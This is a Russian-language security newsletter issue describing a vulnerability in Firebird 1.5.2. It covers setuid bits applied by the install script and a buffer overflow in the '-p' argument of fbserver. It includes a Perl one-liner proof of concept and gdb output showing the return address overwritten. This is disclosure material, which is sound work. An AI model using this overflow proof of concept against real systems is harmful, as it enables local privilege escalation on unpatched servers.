Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в Firebird.


Компьютер для продвинутых пользователей
Содержание:
Firebird
ПО: Firebird
Версия: 1.5.2.4731
Сайт: http://firebird.sourceforge.net

Описание:
Firebird альтернативная база данных предлагающая работу ANSI SQL-99. Из особенностей можно выделить то, что возможно запустить БД на Linux, Windows, и UNIX совместимых платформах. Firebird предлагает пользователю высокую эффективность и мощный язык поддержки процедур и механизмов автоматизации.
Уязвимость:
1) Установка скриптов.
Установка скриптов в Firebird 1.5.2 возможна с помощью бинарных fb_inet_server и fbserver suid firebird, но это слишком неэффективно. Если вы возьмёте и просмотрите установочный скрипт "firebird1.5.2.XXXX/scripts/postinstall.sh" вы увидите очень интересный код:
(...)
# SUID is still needed for group direct access. General users
# cannot run though.
for i in fb_lock_mgr gds_drop fb_inet_server
do
if [ -f $i ]
then
chmod ug=rx,o= $i
chmod ug+s $i
fi
done
(...)

Как утверждает автор fb_inet_server не нуждается быть Suid в firebird. Следующий фрагмент от Алексея Пешкова объясняет уязвимость:
Нет необходимости в setuid. В стандартно скомпилированном fbserver отсутствует setuid. Но по неизвестным причинам fb_inet_serve устанавливает setuid на 'firbird' при инсталляции скрипта. Именно этим и может воспользоваться атакующий для закачки файлов на сервер.
2) Переполнение буфера.
Аргумент '-p' в b_inet_server и fbserver имеет склонность к переполнению буфера. Если строка длинной более 150 символов отправиться через '-p' параметр к любому объекту скрипта, произойдет зависание всей системы.
Пример применения уязвимости:
/usr/lib/firebird2/bin$ ls
fb_lock_print fbguard fbmgr fbmgr.bin fbserver gsec
/usr/lib/firebird2/bin$ ./fbserver -p `perl -e 'print "a"x155;'`1234
Segmentation fault
Байты с позиции от 155 до 159 переписывают обратный адрес:
/usr/lib/firebird2/bin$ gdb ./fbserver
GNU gdb 6.3
(...)
(gdb) run -p `perl -e 'print "a"x155;'`4321
Starting program: /usr/lib/firebird2/bin/fbserver -p `perl -e 'print
"a"x155;'`4321
(...)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1210892160 (LWP 25358)]
0x31323334 in ?? ()

Firebird
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru

В избранное